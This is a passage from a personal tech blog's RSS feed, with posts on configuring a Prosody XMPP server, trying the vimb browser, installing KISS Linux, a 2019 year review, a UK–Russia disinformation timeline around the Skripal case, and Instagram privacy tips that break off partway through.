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    <item><title>Setting up Prosody for XMPP</title><description><![CDATA[<p>Remember the <a href="/blog/irc-for-dms/">IRC for DMs</a> article I wrote a while
back? Well&#8230;it&#8217;s safe to say that IRC didn&#8217;t hold up too well. It first
started with the bot. Buggy code, crashed a lot&#8212;we eventually gave up
and didn&#8217;t bring the bot back up. Then came the notifications, or lack
thereof. Revolution IRC has a bug where your custom notification rules
just get ignored after a while. In my case, this meant that
notifications for <code>#crimson</code> stopped entirely. Unless, of course, Nerdy
pinged me each time.</p>

<p>Again, none of these problems are inherent to IRC itself. IRC is
fantastic, but perhaps wasn&#8217;t the best fit for our usecase. I still do
use IRC though, just not for 1-on-1 conversations.</p>

<h2 id="why-xmpp">Why XMPP?</h2>

<p>For one, it&#8217;s better suited for 1-on-1 conversations. It also has
support for end-to-end encryption (via OMEMO), something IRC doesn&#8217;t
have.<sup class="footnote-ref" id="fnref-otr"><a href="#fn-otr">1</a></sup> Also, it isn&#8217;t centralized (think: email).</p>

<h2 id="soprosody">So&#8230;Prosody</h2>

<p><a href="https://prosody.im">Prosody</a> is an XMPP server. Why did I choose this
over ejabberd, OpenFire, etc.? No reason, really. Their website looked
cool, I guess.</p>

<h3 id="installing">Installing</h3>

<p>Setting it up was pretty painless (I&#8217;ve <a href="/blog/mailserver">experienced
worse</a>). If you&#8217;re on a Debian-derived system, add:</p>

<pre><code># modify according to your distro
deb https://packages.prosody.im/debian buster main 
</code></pre>

<p>to your <code>/etc/apt/sources.list</code>, and:</p>

<pre><code># apt update
# apt install prosody
</code></pre>

<h3 id="configuring">Configuring</h3>

<p>Once installed, you will find the config file at
<code>/etc/prosody/prosody.cfg.lua</code>. Add your XMPP user (we will make this
later), to the <code>admins = {}</code> line.</p>

<pre><code>admins = {"user@chat.example.com"}
</code></pre>

<p>Head to the <code>modules_enabled</code> section, and add this to it:</p>

<pre><code>modules_enabled = {
    "posix";
    "omemo_all_access";
...
    -- uncomment these
    "groups";
    "mam";
    -- and any others you think you may need
}
</code></pre>

<p>We will install the <code>omemo_all_access</code> module later.</p>

<p>Set <code>c2s_require_encryption</code>, <code>s2s_require_encryption</code>, and
<code>s2s_secure_auth</code> to <code>true</code>.
Set the <code>pidfile</code> to <code>/tmp/prosody.pid</code> (or just leave it as default?).</p>

<p>By default, Prosody stores passwords in plain-text, so fix that by
setting <code>authentication</code> to <code>"internal_hashed"</code></p>

<p>Head to the <code>VirtualHost</code> section, and add your vhost. Right above it,
set the path to the HTTPS certificate and key:</p>

<pre><code>certificates = "certs"    -- relative to your config file location
https_certificate = "certs/chat.example.com.crt"
https_key = "certs/chat.example.com.key"
...

VirtualHost "chat.example.com"
</code></pre>

<p>I generated these certs using Let&#8217;s Encrypt&#8217;s <code>certbot</code>, you can use
whatever. Here&#8217;s what I did:</p>

<pre><code># certbot --nginx -d chat.example.com
</code></pre>

<p>This generates certs at <code>/etc/letsencrypt/live/chat.example.com/</code>. You can
trivially import these certs into Prosody&#8217;s <code>/etc/prosody/certs/</code> directory using:</p>

<pre><code># prosodyctl cert import /etc/letsencrypt/live/chat.example.com
</code></pre>

<h3 id="plugins">Plugins</h3>

<p>All the modules for Prosody can be <code>hg clone</code>&#8217;d from
<a href="https://hg.prosody.im/prosody-modules.">https://hg.prosody.im/prosody-modules.</a> You will, obviously, need
Mercurial installed for this.</p>

<p>Clone it somewhere, and: </p>

<pre><code># cp -R prosody-modules/mod_omemo_all_access /usr/lib/prosody/modules
</code></pre>

<p>Do the same thing for whatever other module you choose to install. Don&#8217;t
forget to add it to the <code>modules_enabled</code> section in the config.</p>

<h3 id="adding-users">Adding users</h3>

<p><code>prosodyctl</code> makes this a fairly simple task:</p>

<pre><code>$ prosodyctl adduser user@chat.example.com
</code></pre>

<p>You will be prompted for a password. You can optionally, enable
user registrations from XMPP/Jabber clients (security risk!), by setting
<code>allow_registration = true</code>.</p>

<p>I may have missed something important, so here&#8217;s <a href="https://x.icyphox.sh/prosody.cfg.lua">my
config</a> for reference.</p>

<h2 id="closing-notes">Closing notes</h2>

<p>That&#8217;s pretty much all you need for 1-on-1 E2EE chats. I don&#8217;t know much
about group chats just yet&#8212;trying to create a group in Conversations
gives a &#8220;No group chat server found&#8221;. I will figure it out later.</p>

<p>Another thing that doesn&#8217;t work in Conversations is adding an account
using an <code>SRV</code> record.<sup class="footnote-ref" id="fnref-srv"><a href="#fn-srv">2</a></sup> Which kinda sucks, because having a <code>chat.</code>
subdomain isn&#8217;t very clean, but whatever.</p>

<p>Oh, also&#8212;you can message me at
<a href="xmpp:icy@chat.icyphox.sh">icy@chat.icyphox.sh</a>.</p>

<div class="footnotes">
<hr />
<ol>
<li id="fn-otr">
<p>I&#8217;m told IRC supports OTR, but I haven&#8217;t ever tried.&#160;<a href="#fnref-otr" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>

<li id="fn-srv">
<p><a href="https://prosody.im/doc/dns">https://prosody.im/doc/dns</a>&#160;<a href="#fnref-srv" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/prosody</link><pubDate>Tue, 18 Feb 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/prosody</guid></item><item><title>Status update</title><description><![CDATA[<p>It&#8217;s only been a two weeks since I got back to campus, and we&#8217;ve
<em>already</em> got our first round of cycle tests starting this Tuesday.
Granted, I returned a week late, but&#8230;that&#8217;s nuts!</p>

<p>We&#8217;re two whole weeks into 2020; I should&#8217;ve been working on something
status update worthy, right? Not really, but we&#8217;ll see.</p>

<h2 id="no-more-cloudflare">No more Cloudflare!</h2>

<p>Yep. If you weren&#8217;t aware&#8212;pre-2020 this site was behind Cloudflare
SSL and their DNS. I have since migrated off it to
<a href="https://he.net">he.net</a>, thanks to highly upvoted Lobste.rs comment.
Because of this switch, I infact, learnt a ton about DNS.</p>

<p>Migrating to HE was very painless, but I did have to research a lot
about PTR records&#8212;Cloudflare kinda dumbs it down. In my case, I had to
rename my DigitalOcean VPS instance to the FQDN, which then
automagically created a PTR record at DO&#8217;s end.</p>

<h2 id="i-dropped-icyrc">I dropped icyrc</h2>

<p>The IRC client I was working on during the end of last
December&#8211;early-January? Yeah, I lost interest. Apparently writing C and
ncurses isn&#8217;t very fun or stimulating.</p>

<p>This also means I&#8217;m back on weechat. Until I find another client that
plays well with ZNC, that is.</p>

<h2 id="kiss-stuff">KISS stuff</h2>

<p>I now maintain two new packages in the KISS community repository&#8212;2bwm
and aerc! The KISS package system is stupid simple to work with. Creating
packages has never been easier.</p>

<h2 id="icyphoxshfriendsfriends"><a href="/friends">icyphox.sh/friends</a></h2>

<p>Did you notice that yet? I&#8217;ve been curating a list of people I know IRL
and online, and linking to their online presence. This is like a webring
of sorts, and promotes inter-site traffic&#8212;making the web more &#8220;web&#8221;
again.</p>

<p>If you know me, feel free to <a href="/about#contact">hit me up</a> and I&#8217;ll link
your site too! My apologies if I&#8217;ve forgotten your name.</p>

<h2 id="patreon">Patreon!</h2>

<p>Is this big news? I dunno, but yes&#8212;I now have a Patreon. I figured I&#8217;d
cash in on the newfound traffic my site&#8217;s been getting. There won&#8217;t be
any exclusive content or any tiers or whatever. Nothing will change.
Just a place for y&#8217;all to toss me some $$$ if you wish to do so. ;)</p>

<p>Oh, and it&#8217;s at <a href="https://patreon.com/icyphox">patreon.com/icyphox</a>.</p>

<h2 id="misc">Misc.</h2>

<p>The Stormlight Archive is likely the <em>best</em> epic I have ever read till
date. I&#8217;m still not done yet; about 500 odd pages to go as of this
writing. But wow, Brandon really does know how to build worlds and magic
systems. I cannot wait to read all about the
<a href="https://coppermind.net/wiki/Cosmere">cosmere</a>.</p>

<p>I have also been working out for the past month or so. I can see them
gainzzz. I plan to keep track of my progress, I just don&#8217;t know how to
quantify it. Perhaps I&#8217;ll log the number of reps × sets I do each time,
and with what weights. I can then look back to see if either the weights
have increased since, or the number of reps × sets have. If you know of
a better way to quantify progress, let me know! I&#8217;m pretty new to this.</p>
]]></description><link>https://icyphox.sh/blog/2020-01-18</link><pubDate>Sat, 18 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2020-01-18</guid></item><item><title>Vimb: my Firefox replacement</title><description><![CDATA[<p>After having recently installed <a href="https://getkiss.org">KISS</a>, and
building Firefox from source, I was exposed to the true monstrosity that
Firefox&#8212;and web browsers in general&#8212;is. It took all of 9 hours to
build the dependencies and then Firefox itself.</p>

<p>Sure, KISS now ships Firefox binaries in the
<a href="https://github.com/kisslinux/repo/tree/master/extra/firefox-bin">firefox-bin</a>
package; I decided to get rid of that slow mess anyway.</p>

<h2 id="enter-vimb">Enter vimb</h2>

<p><a href="https://fanglingsu.github.io/vimb/">vimb</a> is a browser based on
<a href="https://webkitgtk.org/">webkit2gtk</a>, with a Vim-like interface. 
<code>webkit2gtk</code> builds in less than a minute&#8212;it blows Firefox out of
the water, on that front.</p>

<p>There isn&#8217;t much of a UI to it&#8212;if you&#8217;ve used Vimperator/Pentadactyl
(Firefox plugins), vimb should look familiar to you.
It can be configured via a <code>config.h</code> or a text based config file at
<code>~/.config/vimb/config</code>.
Each &#8220;tab&#8221; opens a new instance of vimb, in a new window but this can
get messy really fast if you have a lot of tabs open.</p>

<h2 id="enter-tabbed">Enter tabbed</h2>

<p><a href="https://tools.suckless.org/tabbed/">tabbed</a> is a tool to <em>embed</em> X apps
which support xembed into a tabbed UI. This can be used in conjunction
with vimb, like so:</p>

<pre><code>tabbed vimb -e
</code></pre>

<p>Where the <code>-e</code> flag is populated with the <code>XID</code>, by tabbed. Configuring
Firefox-esque keybinds in tabbed&#8217;s <code>config.h</code> is relatively easy. Once
that&#8217;s done&#8212;voilà! A fairly sane, Vim-like browsing experience that&#8217;s
faster and has a smaller footprint than Firefox.</p>

<h2 id="ad-blocking">Ad blocking</h2>

<p>Ad blocking support isn&#8217;t built-in and there is no plugin system
available. There are two options for ad blocking:</p>

<ol>
<li><a href="https://github.com/jun7/wyebadblock">wyebadblock</a></li>
<li><code>/etc/hosts</code></li>
</ol>

<h2 id="caveats">Caveats</h2>

<p><em>Some</em> websites tend to not work because they detect vimb as an older
version of Safari (same web engine). This is a minor inconvenience, and
not a dealbreaker for me. I also cannot login to Google&#8217;s services for
some reason, which is mildly annoying, but it&#8217;s good in a way&#8212;I am now
further incentivised to dispose of my Google account.</p>

<p>And here&#8217;s the screenshot y&#8217;all were waiting for:</p>

<p><img src="/static/img/vimb.png" alt="vimb" /></p>
]]></description><link>https://icyphox.sh/blog/mnml-browsing</link><pubDate>Thu, 16 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mnml-browsing</guid></item><item><title>Five days in a TTY</title><description><![CDATA[<p>This new semester has been pretty easy on me, so far. I hardly every
have any classes (again, so far), and I&#8217;ve a ton of free time on my
hands. This calls for&#8212;yep&#8212;a distro hop! </p>

<h2 id="why-kiss">Why KISS?</h2>

<p><a href="https://getkiss.org">KISS</a> has been making rounds on the interwebz lately.<sup class="footnote-ref" id="fnref-hn"><a href="#fn-hn">1</a></sup>
The Hacker News post spurred <em>quite</em> the discussion. But then again,
that is to be expected from Valleybros who use macOS all day. :^)</p>

<p>From the website,</p>

<blockquote>
  <p>An independent Linux® distribution with a focus on simplicity and the
  concept of “less is more”. The distribution targets <em>only</em> the x86-64
  architecture and the English language.</p>
</blockquote>

<p>Like many people did in the HN thread, &#8220;simplicity&#8221; here is not to be
confused with &#8220;ease&#8221;. It is instead, simplicity in terms of lesser and
cleaner code&#8212;no
<a href="https://www.urbandictionary.com/define.php?term=poetterware">Poetterware</a>.</p>

<p>This, I can get behind. A clean system with less code is like a clean
table. It&#8217;s nice to work on. It also implies security to a certain
extent since there&#8217;s a smaller attack surface. </p>

<p>The <a href="https://github.com/kisslinux/kiss"><code>kiss</code></a> package manager is written
is pure POSIX sh, and does <em>just enough</em>. Packages are compiled from
source and <code>kiss</code> automatically performs dependency resolution. Creating
packages is ridiculously easy too.</p>

<p>Speaking of packages, all packages&#8212;both official &amp; community
repos&#8212;are run through <code>shellcheck</code> before getting merged. This is
awesome; I don&#8217;t think this is done in any other distro.</p>

<p>In essence, KISS sucks less.</p>

<h2 id="installing-kiss">Installing KISS</h2>

<p>The <a href="https://getkiss.org/pages/install">install guide</a> is very easy to
follow. Clear instructions that make it hard to screw up; that didn&#8217;t
stop me from doing so, however.</p>

<h3 id="day-1">Day 1</h3>

<p>Although technically not in a TTY, it was still not <em>in</em> the KISS
system&#8212;I&#8217;ll count it. I&#8217;d compiled the kernel in the chroot and
decided to use <code>efibootmgr</code> instead of GRUB. <code>efibootmgr</code> is a neat tool
to modify the Intel Extensible Firmware Interface (EFI). Essentially,
you boot the <code>.efi</code> directly as opposed to choosing which boot entry
you want to boot, through GRUB. Useful if you have just one OS on the
system. Removes one layer of abstraction.</p>

<p>Adding a new EFI entry is pretty easy. For me, the command was:</p>

<pre><code>efibootmgr --create 
           --disk /dev/nvme0n1 \
           --part 1 \
           --label KISS Linux \
           --loader /vmlinuz
           --unicode 'root=/dev/nvme0n1p3 rw'  # kernel parameters
</code></pre>

<p>Mind you, this didn&#8217;t work the first time, or the second, or the
third &#8230; a bunch of trial and error (and asking on <code>#kisslinux</code>)
later, it worked.</p>

<p>Well, it booted, but not into KISS. Took a while to figure out that the
culprit was <code>CONFIG_BLK_DEV_NVME</code> not having been set in the kernel
config. Rebuild &amp; reboot later, I was in.</p>

<h3 id="day-2">Day 2</h3>

<p>Networking! How fun. An <code>ip a</code> and I see that both USB tethering
(ethernet) and wireless don&#8217;t work. Great. Dug around a bit&#8212;missing
wireless drivers was the problem. Found my driver, a binary <code>.ucode</code> from
Intel (eugh!). The whole day was spent in figuring out why the kernel
would never load the firmware. I tried different variations&#8212;loading
it as a module (<code>=m</code>), baking it in (<code>=y</code>) but no luck.</p>

<h3 id="day-3">Day 3</h3>

<p>I then tried Alpine&#8217;s kernel config but that was so huge and had a <em>ton</em>
of modules and took far too long to build each time, much to my
annoyance. Diffing their config and mine was about ~3000 lines! Too much
to sift through. On a whim, I decided to scrap my entire KISS install
and start afresh. </p>

<p>For some odd reason, after doing the <em>exact</em> same things I&#8217;d done
earlier, my wireless worked this time. Ethernet didn&#8217;t, and still
doesn&#8217;t, but that&#8217;s ok.</p>

<p>Building <code>xorg-server</code> was next, which took about an hour, mostly thanks
to spotty internet. The build went through fine, though what wasn&#8217;t was
no input after starting X. Adding my user to the <code>input</code> group wasn&#8217;t
enough. The culprit this time was a missing <code>xf86-xorg-input</code> package.
Installing that gave me my mouse back, but not the keyboard!</p>

<p>It was definitely not the kernel this time, because I had a working
keyboard in the TTY. </p>

<h3 id="day-4-day-5">Day 4 &amp; Day 5</h3>

<p>This was probably the most annoying of all, since the fix was <em>trivial</em>.
By this point I had exhausted all ideas, so I decided to build my
essential packages and setup my system. Building Firefox took nearly
9 hours, the other stuff were much faster.</p>

<p>I was still chatting on IRC during this, trying to zero down on what the
problem could be. And then:</p>

<pre><code>&lt;dylanaraps&gt; For starters I think st fails due to no fonts.
</code></pre>

<p>Holy shit! Fonts. I hadn&#8217;t installed <em>any</em> fonts. Which is why none of
the applications I tried launching via <code>sowm</code> ever launched, and hence,
I was lead to believe my keyboard was dead.</p>

<h2 id="worth-it">Worth it?</h2>

<p>Absolutely. I <em>cannot</em> stress on how much of a learning experience this
was. Also a test of my patience and perseverance, but yeah ok. I also
think that this distro is my endgame (yeah, right), probably because
other distros will be nothing short of disappointing, in one way or
another.</p>

<p>Huge thanks to the folks at <code>#kisslinux</code> on Freenode for helping me
throughout. And I mean, they <em>really</em> did. We chatted for hours on end
trying to debug my issues.</p>

<p>I&#8217;ll now conclude with an obligatory screenshot.</p>

<p><img src="https://x.icyphox.sh/R6G.png" alt="scrot" /></p>

<div class="footnotes">
<hr />
<ol>
<li id="fn-hn">
<p><a href="https://news.ycombinator.com/item?id=21021396">https://news.ycombinator.com/item?id=21021396</a>&#160;<a href="#fnref-hn" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/five-days-tty</link><pubDate>Mon, 13 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/five-days-tty</guid></item><item><title>2019 in review</title><description><![CDATA[<p>Just landed in a rainy Chennai, back in campus for my 6th semester.
A little late to the &#8220;year in review blog post&#8221; party; travel took up
most of my time. Last year was pretty eventful (at least in my books),
and I think I did a bunch of cool stuff&#8212;let&#8217;s see!</p>

<h2 id="interning-at-securelayer7">Interning at SecureLayer7</h2>

<p>Last summer, I interned at <a href="https://securelayer7.net">SecureLayer7</a>,
a security consulting firm in Pune, India. My work was mostly in
hardware and embededded security research. I learnt a ton about ARM and
MIPS reversing and exploitation, UART and JTAG, firmware RE and
enterprise IoT security.</p>

<p>I also earned my first CVE! I&#8217;ve written about it in detail
<a href="/blog/fb50">here</a>.</p>

<h2 id="conferences">Conferences</h2>

<p>I attended two major conferences last year&#8212;Nullcon Goa and PyCon
India. Both super fun experiences and I met a ton of cool people!
<a href="https://twitter.com/icyphox/status/1101022604851212288">Nullcon Twitter thread</a>
and <a href="/blog/pycon-wrap-up">PyCon blog post</a>.</p>

<h2 id="talks">Talks</h2>

<p>I gave two talks last year:</p>

<ol>
<li><em>Intro to Reverse Engineering</em> at Cyware 2019</li>
<li><em>"Smart lock? Nah dude."</em> at PyCon India</li>
</ol>

<h2 id="things-i-made">Things I made</h2>

<p>Not in order, because I CBA:</p>

<ul>
<li><a href="https://github.com/icyphox/repl">repl</a>: More of a quick bash hack, 
I don&#8217;t really use it.</li>
<li><a href="https://github.com/icyphox/pw">pw</a>: A password manager. This,
I actually do use. I&#8217;ve even written a tiny 
<a href="https://github.com/icyphox/dotfiles/blob/master/bin/pwmenu.sh"><code>dmenu</code> wrapper</a>
for it. </li>
<li><a href="https://github.com/icyphox/twsh">twsh</a>: An incomplete twtxt client,
in bash. I have yet to get around to finishing it.</li>
<li><a href="https://github.com/icyphox/alpine">alpine ports</a>: My APKBUILDs for
Alpine.</li>
<li><a href="https://github.com/icyphox/detotated">detotated</a>: An IRC bot written
in Python. See <a href="/blog/irc-for-dms">IRC for DMs</a>.</li>
<li><a href="https://github.com/icyphox/icyrc">icyrc</a>: A no bullshit IRC client,
because WeeChat is bloat.</li>
</ul>

<p>I probably missed something, but whatever.</p>

<h2 id="blog-posts">Blog posts</h2>

<pre><code>$ ls -1 pages/blog/*.md | wc -l
20
</code></pre>

<p>So excluding today&#8217;s post, and <code>_index.md</code>, that&#8217;s 18 posts! I had
initially planned to write one post a month, but hey, this is great. My
plan for 2020 is to write one post a <em>week</em>&#8212;unrealistic, I know, but
I will try nevertheless.</p>

<p>I wrote about a bunch of things, ranging from programming to
return-oriented-programming (heh), sysadmin and security stuff, and
a hint of culture and philosophy. Nice!</p>

<p>The <a href="/blog/python-for-re-1">Python for Reverse Engineering</a> post got
a ton of attention on the interwebz, so that was cool.</p>

<h2 id="bye-2019">Bye 2019</h2>

<p>2019 was super productive! (in my terms). I learnt a lot of new things
last year, and I can only hope to learn as much in 2020. :)</p>

<p>I&#8217;ll see you next week.</p>
]]></description><link>https://icyphox.sh/blog/2019-in-review</link><pubDate>Thu, 02 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-in-review</guid></item><item><title>Disinfo war: RU vs GB</title><description><![CDATA[<p>This entire sequence of events begins with the attempted poisoning of
Sergei Skripal<sup class="footnote-ref" id="fnref-skripal"><a href="#fn-skripal">1</a></sup>, an ex-GRU officer who was a double-agent for
the UK&#8217;s intelligence services. This hit attempt happened on the 4th of
March, 2018. 8 days later, then-Prime Minister Theresa May formally
accused Russia for the attack.</p>

<p>The toxin used in the poisoning was a nerve agent called <em>Novichok</em>.
In addition to the British military-research facility at Porton Down,
a small number of labs around the world were tasked with confirming
Porton Down&#8217;s conclusions on the toxin that was used, by the OPCW
(Organisation for the Prohibition of Chemical Weapons).</p>

<p>With the background on the matter out of the way, here are the different
instances of well timed disinformation pushed out by Moscow.</p>

<h2 id="the-russian-offense">The Russian offense</h2>

<h3 id="april-14-2018">April 14, 2018</h3>

<ul>
<li>RT published an article claiming that Spiez had identified a different
toxin&#8212;BZ, and not Novichok.</li>
<li>This was an attempt to shift the blame from Russia (origin of Novichok),
to NATO countries, where it was apparently in use.</li>
<li>Most viral piece on the matter in all of 2018.</li>
</ul>

<p>Although technically correct, this isn&#8217;t the entire truth. As part of
protocol, the OPCW added a new substance to the sample as a test. If any
of the labs failed to identify this substance, their findings were
deemed untrustworthy. This toxin was a derivative of BZ.</p>

<p>Here are a few interesting things to note:</p>

<ol>
<li>The entire process starting with the OPCW and the labs is top-secret.
How did Russia even know Speiz was one of the labs?</li>
<li>On April 11th, the OPCW mentioned BZ in a report confirming Porton
Down&#8217;s findings. Note that Russia is a part of OPCW, and are fully
aware of the quality control measures in place. Surely they knew
about the reason for BZ&#8217;s use?</li>
</ol>

<p>Regardless, the Russian version of the story spread fast. They cashed in
on two major factors to plant this disinfo:</p>

<ol>
<li>&#8220;NATO bad&#8221; : Overused, but surprisingly works. People love a story
that goes full 180°.</li>
<li>Spiez can&#8217;t defend itself: At the risk of revealing that it was one
of the facilities testing the toxin, Spiez was only able to &#8220;not
comment&#8221;.</li>
</ol>

<h3 id="april-3-2018">April 3, 2018</h3>

<ul>
<li>The Independent publishes a story based on an interview with the chief
executive of Porton Down, Gary Aitkenhead.</li>
<li>Aitkenhead says they&#8217;ve identified Novichok but &#8220;have not identified
the precise source&#8221;.</li>
<li>Days earlier, Boris Johnson (then-Foreign Secretary) claimed that
Porton Down confirmed the origin of the toxin to be Russia.</li>
<li>This discrepancy was immediately promoted by Moscow, and its network
all over.</li>
</ul>

<p>This one is especially interesting because of how <em>simple</em> it is to
exploit a small contradiction, that could&#8217;ve been an honest mistake.
This episode is also interesting because the British actually attempted
damage control this time. Porton Down tried to clarify Aitkenhead&#8217;s
statement via a tweet<sup class="footnote-ref" id="fnref-dstltweet"><a href="#fn-dstltweet">2</a></sup>:</p>

<blockquote>
  <p>Our experts have precisely identified the nerve agent as a Novichok. 
  It is not, and has never been, our responsibility to confirm the source 
  of the agent @skynews @UKmoments</p>
</blockquote>

<p>Quoting the <a href="https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/">Defense One</a> 
article on the matter:</p>

<blockquote>
  <p>The episode is seen by those inside Britain’s security communications team 
  as the most serious misstep of the crisis, which for a period caused real 
  concern. U.K. officials told me that, in hindsight, Aikenhead could never 
  have blamed Russia directly, because that was not his job—all he was 
  qualified to do was identify the chemical. Johnson, in going too far, 
  was more damaging. Two years on, he is now prime minister.</p>
</blockquote>

<h3 id="may-2018">May 2018</h3>

<ul>
<li>OPCW facilities receive an email from Spiez inviting them to
a conference.</li>
<li>The conference itself is real, and has been organized before.</li>
<li>The email however, was not&#8212;attached was a Word document containing
malware.</li>
<li>Also seen were inconsistencies in the email formatting, from what was
normal.</li>
</ul>

<p>This spearphishing campaign was never offically attributed to Moscow,
but there are a lot of tells here that point to it being the work of
a state actor:</p>

<ol>
<li>Attack targetting a specific group of individuals.</li>
<li>Relatively high level of sophistication&#8212;email formatting,
malicious Word doc, etc.</li>
</ol>

<p>However, the British NCSC have deemed with &#8220;high confidence&#8221; that the
attack was perpetrated by GRU. In the UK intelligence parlance, &#8220;highly
likely&#8221; / &#8220;high confidence&#8221; usually means &#8220;definitely&#8221;.</p>

<h2 id="britains-defense">Britain&#8217;s defense</h2>

<h3 id="september-5-2018">September 5, 2018</h3>

<p>The UK took a lot of hits in 2018, but they eventually came back:</p>

<ul>
<li>Metropolitan Police has a meeting with the press, releasing their
findings.</li>
<li>CCTV footage showing the two Russian hitmen was released.</li>
<li>Traces of Novichok identified in their hotel room.</li>
</ul>

<p>This sudden news explosion from Britan&#8217;s side completely
bulldozed the information space pertaining to the entire event.
According to Defense One:</p>

<blockquote>
  <p>Only two of the 10 most viral stories in the weeks following the announcement 
  were sympathetic to Russia, according to NewsWhip. Finally, officials recalled, 
  it felt as though the U.K. was the aggressor. “This was all kept secret to 
  put the Russians on the hop,” one told me. “Their response was all over the 
  place from this point. It was the turning point.”</p>
</blockquote>

<p>Earlier in April, 4 GRU agents were arrested in the Netherlands, who
were there to execute a cyber operation against the OPCW (located in The
Hague), via their WiFi networks. They were arrested by Dutch security,
and later identifed as belonging to Unit 26165. They also seized a bunch
of equipment from the room and their car.</p>

<blockquote>
  <p>The abandoned equipment revealed that the GRU unit involved had sent
  officers around the world to conduct similar cyberattacks. They had
  been in Malaysia trying to steal information about the investigation
  into the downed Malaysia Airlines Flight 17, and at a hotel in Lausanne,
  Switzerland, where a World Anti-Doping Agency (WADA) conference was taking
  place as Russia faced sanctions from the International Olympic Committee.
  Britain has said that the same GRU unit attempted to compromise Foreign
  Office and Porton Down computer systems after the Skripal poisoning.</p>
</blockquote>

<h3 id="october-4-2018">October 4, 2018</h3>

<p>UK made the arrests public, published a list of infractions commited by
Russia, along with the specific GRU unit that was caught.</p>

<p>During this period, just one of the top 25 viral stories was from
a pro-Russian outlet, RT&#8212;that too a fairly straightforward piece.</p>

<h2 id="wrapping-up">Wrapping up</h2>

<p>As with conventional warfare, it&#8217;s hard to determine who won. Britain
may have had the last blow, but Moscow&#8212;yet again&#8212;depicted their
finesse in information warfare. Their ability to seize unexpected
openings, gather intel to facilitate their disinformation campaigns, and
their cyber capabilities makes them a formidable threat. </p>

<p>2020 will be fun, to say the least.</p>

<div class="footnotes">
<hr />
<ol>
<li id="fn-skripal">
<p><a href="https://en.wikipedia.org/wiki/Sergei_Skripal">https://en.wikipedia.org/wiki/Sergei_Skripal</a>&#160;<a href="#fnref-skripal" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>

<li id="fn-dstltweet">
<p><a href="https://twitter.com/dstlmod/status/981220158680260613">https://twitter.com/dstlmod/status/981220158680260613</a>&#160;<a href="#fnref-dstltweet" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/ru-vs-gb</link><pubDate>Thu, 12 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ru-vs-gb</guid></item><item><title>Instagram OPSEC</title><description><![CDATA[<p>Which I am not, of course. But seeing as most of my peers are, I am
compelled to write this post. Using a social platform like Instagram
automatically implies that the user understands (to some level) that
their personally identifiable information is exposed publicly, and they
sign up for the service understanding this risk&#8212;or I think they do,
anyway. But that&#8217;s about it, they go ham after that. Sharing every nitty
gritty detail of their private lives without understanding the potential
risks of doing so.</p>

<p>The fundamentals of OPSEC dictacte that you develop a threat model, and
Instgrammers are <em>obviously</em> incapable of doing that&#8212;so I&#8217;ll do it
for them. </p>

<h2 id="your-average-instagrammers-threat-model">Your average Instagrammer&#8217;s threat model</h2>

<p>I stress on the word &#8220;average&#8221;, as in this doesn&#8217;t apply to those with
more than a couple thousand followers. Those type of accounts inherently
face different kinds of threats&#8212;those that come with having
a celebrity status, and are not in scope of this analysis.</p>

<ul>
<li><p><strong>State actors</strong>: This doesn&#8217;t <em>really</em> fit into our threat model,
since our target demographic is simply not important enough. That said,
there are select groups of individuals that operate on
Instagram<sup class="footnote-ref" id="fnref-ddepisode"><a href="#fn-ddepisode">1</a></sup>, and they can potentially be targetted by a state
actor.</p></li>
<li><p><strong>OSINT</strong>: This is probably the biggest threat vector, simply because
of the amount of visual information shared on the platform. A lot can be
gleaned from one simple picture in a nondescript alleyway. We&#8217;ll get
into this in the DOs and DON&#8217;Ts in a bit.</p></li>
<li><p><strong>Facebook &amp; LE</strong>: Instagram is the last place you want to be doing an
illegal, because well, it&#8217;s logged and more importantly&#8212;not
end-to-end encrypted. Law enforcement can subpoena any and all account
information. Quoting Instagram&#8217;s 
<a href="https://help.instagram.com/494561080557017">page on this</a>:</p></li>
</ul>

<blockquote>
  <p>a search warrant issued under the procedures described in the Federal 
  Rules of Criminal Procedure or equivalent state warrant procedures 
  upon a showing of probable cause is required to compel the disclosure 
  of the stored contents of any account, which may include messages, 
  photos, comments, and location information.</p>
</blockquote>

<p>That out of the way, here&#8217;s a list of DOs and DON&#8217;Ts to keep in mind
while posting on Instagram.</p>

<h3 id="donts">DON&#8217;Ts</h3>

<ul>
<li><p>Use Instagram for planning and orchestrating illegal shit! I&#8217;ve
explained why this is a terrible idea above. Use secure comms&#8212;even
WhatsApp is a better choice, if you have nothing else. In fact, try
avoiding IG DMs altogether, use alternatives that implement E2EE.</p></li>
<li><p>Film live videos outside. Or try not to, if you can. You might
unknowingly include information about your location: street signs,
shops etc. These can be used to ascertain your current location.</p></li>
<li><p>Film live videos in places you visit often. This compromises your
security at places you&#8217;re bound to be at.</p></li>
<li><p>Share your flight ticket in your story! I can&#8217;t stress this enough!!!
Summer/winter break? &#8220;Look guys, I&#8217;m going home! Here&#8217;s where I live,
and here&#8217;s my flight number&#8212;feel free to track me!&#8221;. This scenario is
especially worrisome because the start and end points are known to the
threat actor, and your arrival time can be trivially looked up&#8212;thanks
to the flight number on your ticket. So, just don&#8217;t.</p></li>
<li><p>Post screenshots with OS specific details. This might border on
pendantic, but better safe than sorry. Your phone&#8217;s statusbar and navbar 
are better cropped out of pictures. They reveal the time, notifications
(apps that you use), and can be used to identify your phone&#8217;s operating
system.  Besides, the status/nav bar isn&#8217;t very useful to your screenshot 
anyway.</p></li>
<li><p>Share your voice. In general, reduce your footprint on the platform
that can be used to identify you elsewhere.</p></li>
<li><p>Think you&#8217;re safe if your account is set to private. It doesn&#8217;t take
much to get someone who follows you, to show show your profile on their
device.</p></li>
</ul>

